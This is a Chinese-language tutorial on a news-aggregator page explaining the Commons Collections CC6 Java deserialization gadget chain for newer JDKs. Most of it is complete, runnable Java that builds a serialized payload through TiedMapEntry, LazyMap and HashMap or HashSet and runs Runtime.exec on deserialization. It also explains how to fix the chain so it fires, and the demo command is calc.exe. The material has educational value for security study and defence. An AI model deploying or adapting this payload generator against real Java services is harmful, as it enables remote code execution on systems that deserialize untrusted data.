当前位置: 首页 > news >正文

JAVA安全基础-CC6链

高版本java利用

jdk8u71以后AnnotationInvocationHandler#readObject的逻辑发生了变化,会将序列化中的map数据转存到一个新的map中,后续操作都在这个新的map进行,导致原本的攻击链失效

所以我们需要寻找一个新的链条

/*Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashMap.readObject()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()
*/

可以看到LazyMap.get()后面的部分不变,我们只需关注前面的部分

实际上就是在上下文中寻找其他调用 LazyMap.get()的地方

这里使用的是 org.apache.commons.collections.keyvalue.TiedMapEntry

其getValue方法中调用了 this.map.get ,其hashCode方法调用了getValue方法

public int hashCode() {Object value = this.getValue();return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
public Object getValue() {return this.map.get(this.key);
}

所以我们需要找到哪里 哪里调用了 TiedMapEntry#hashCode

ysoserial中,是利用 java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key) 最后到TiedMapEntry#hashCode()

但java.util.HashMap#readObject 中就可以找到 HashMap#hash() 的调用

private void readObject(java.io.ObjectInputStream s){……for (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

只需要让这个key等于TiedMapEntry对象,即可连接上前面的分析过程,构成⼀个完整的Gadget

Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, newObject[0] }),new InvokerTransformer("exec", new Class[] { String.class},new String[] { "calc.exe" }),new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

这部分和之前一样, 为了避免本地调试时触发命令执行,构造LazyMap的时候先用fakeTransformers 对象,等最后要生成成Payload的时候,再把真正的 transformers 替换进去

构造一个TiedMapEntry对象,恶意的lazyMap作为其属性

TiedMapEntry tme = new TiedMapEntry(lazyMap, "keykey");

将 tme 对象作为 HashMap 的⼀个key

Map expMap = new HashMap();expMap.put(tme, "valuevalue");

将这个 expMap 作为对象来序列化 将真正的 transformers 数组设置 进来:

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);// ==================// ⽣成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();

总结一下调用链:expMap是HashMap对象,readObject时调用hash(key)方法key为一个TiedMapEntry对象

然后会调用key.hashcode()方法,也就是TiedMapEntry对象的hashcode方法,紧接着会调用TiedMapEntry对象的getValue方法其中运行this.map.get(this.key)。this.map就是构造的lazyMap,这里的this.key就是创建tem对象时传入的字符串"keykey",而lazyMap中并没有这个键就会执行transform方法

然而运行后却没有弹出计算器

没有进入到真正的触发点

map.containsKey(key) 的结果是true

在 HashMap的put方法中,也有调用到 hash(key)

导致 LazyMap 利用链会在这里被调用一遍,但前面为 fakeTransformers 无法真正利用

可是keykey这个键在这个过程会被加载到LazyMap中,导致后面真正的利用链无法成功

解决方法就是把这个键去掉

lazyMap.remove("keykey");

ysoserial的代码,其实原理一样只是hashmap是通过hashset反射得到

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;/*无法在jdk16之后执行*/
public class CommonsCollections6_ysoserial {public static void main(String[] args) throws Exception {// 1. 真实的恶意 Transformer 链Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc.exe" }),new ConstantTransformer(1),};// 2. 先使用伪造的 Transformer 初始化,防止在本地序列化对象时就触发命令Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });// 3. 创建 LazyMap 并用 TiedMapEntry 装饰Map innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(lazyMap, "keykey");// 4. 使用 HashSet 作为入口点 (ysoserial CC6 的标准做法)HashSet expHashSet = new HashSet(1);expHashSet.add("dummy"); // 先占位//从 JDK 16 开始,Java 默认不再允许跨模块的反射访问(尤其是对 java.base 模块)// 获取 HashSet 内部的 HashMapField mapField = HashSet.class.getDeclaredField("map");mapField.setAccessible(true);HashMap innerHashSetMap = (HashMap) mapField.get(expHashSet);// 将 TiedMapEntry 放入 HashSet 的内部 Map 中// 这样在反序列化 HashSet 时,会调用该 Map 的 put 方法,从而触发 hashCode()innerHashSetMap.clear();innerHashSetMap.put(tme, "valuevalue");// 5. 清理 LazyMap 中因为刚才的操作而生成的干扰键lazyMap.remove("keykey");// 6. 通过反射将真正的恶意 Transformer 链替换进去Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);// ===================================// 序列化与反序列化测试// ===================================// 序列化ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expHashSet);oos.close();// 反序列化触发System.out.println("Payload 生成成功,准备模拟反序列化...");ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));ois.readObject();}
}

入口为hashset#readObject 首先调用一个map.put

通过反射获取创建的hashset的内部的map变量向其中添加TiedMapEntry对象

当调用到map.put(tem,PRESENT)时进入下方的函数,后续过程就一样了

http://www.jsqmd.com/news/326748/

相关文章:

  • 红魔6r救砖记录
  • 计算机Java毕设实战-基于SpringBoot和Vue的人力资源管理系统的设计与实现基于springboot的员工绩效管理系统的设计与实现【完整源码+LW+部署说明+演示视频,全bao一条龙等】
  • 阿虎主管药师预测卷准吗?2026上岸考生亲测《阿虎白卷》实战经验
  • 安庆市英语雅思培训机构推荐、2026权威测评出国雅思辅导机构口碑榜单
  • 黄山市英语雅思培训机构推荐/2026权威测评出国雅思辅导机构口碑榜单
  • 2026靠谱的借贷平台推荐:安全合规平台选择指南
  • 滁州市英语雅思培训机构推荐、2026权威测评出国雅思辅导机构口碑榜单
  • 安庆市英语雅思培训机构推荐,2026权威测评出国雅思辅导机构口碑榜单
  • 淮北市英语雅思培训机构推荐、2026权威测评出国雅思辅导机构口碑榜单
  • 滁州市英语雅思培训机构推荐,2026权威测评出国雅思辅导机构口碑榜单
  • 2025年仓储货架大品牌权威推荐榜单,仓库货架承重标准/仓储货架描述/贯通式仓储货架定做/重型仓储货架货架价格仓储货架供应商哪家好
  • 【零基础学MySQL】第六章:DML 详解 - 指南
  • 黄山市英语雅思培训机构推荐、2026权威测评出国雅思辅导机构口碑榜单
  • 安庆市英语雅思培训机构推荐;2026权威测评出国雅思辅导机构口碑榜单
  • 淮北市英语雅思培训机构推荐;2026权威测评出国雅思辅导机构口碑榜单
  • 天虹超市购物卡回收哪家好,深析三家优质热门平台
  • 安庆市英语雅思培训机构推荐:2026权威测评出国雅思辅导机构口碑榜单
  • 零基础轻松绘制生活污水处理工艺流程图超省心
  • 【花雕学编程】Arduino BLDC 之火灾现场侦查机器人
  • 文件下载-后端给前端返回的文件流前端解析不了
  • AI优化哪家专业
  • 铜陵市英语雅思培训机构推荐/2026权威测评出国雅思辅导机构口碑榜单
  • 高效构建Linux镜像:ISO制作前的仓库包收集实践
  • 淮北市英语雅思培训机构推荐,2026权威测评出国雅思辅导机构口碑榜单
  • 无人机VESC7500,低压伺服keil源码,可以无感,霍尔单馈,正余弦,ABZ等多种反馈信号...
  • 2025年精选:性价比高的户外LED广告企业推荐,电梯视频广告/社区门禁广告/影院广告,户外LED广告品牌推荐排行榜
  • 大模型让金融机构“废墟“变“黄金“,小白程序员也能实现的金融AI革命
  • 沃尔玛卡密回收实用准则与详细的三类渠道
  • 算力自由时代:逛超算商城如逛淘宝!助你实现AI梦想清单!
  • 瑞祥卡怎么提现到微信,揭秘1分钟余额变现指南